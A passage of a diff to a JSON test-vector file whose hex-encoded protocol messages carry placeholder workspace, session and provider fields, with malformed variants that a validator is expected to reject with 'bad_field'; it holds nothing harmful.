"574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a313030302e352c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a313030302e352c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-credential-key", "direction": "down", - "hex": "574d58310101000001000000350600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a7b22617069546f6b656e223a747275657d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000720600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a7b22617069546f6b656e223a747275657d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-url-key", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b7b22656e64706f696e7455726c223a2278227d5d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b7b22656e64706f696e7455726c223a2278227d5d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-scope-other-session", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303032222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303032222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-provider-scope-other-backend", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303032222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303032222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392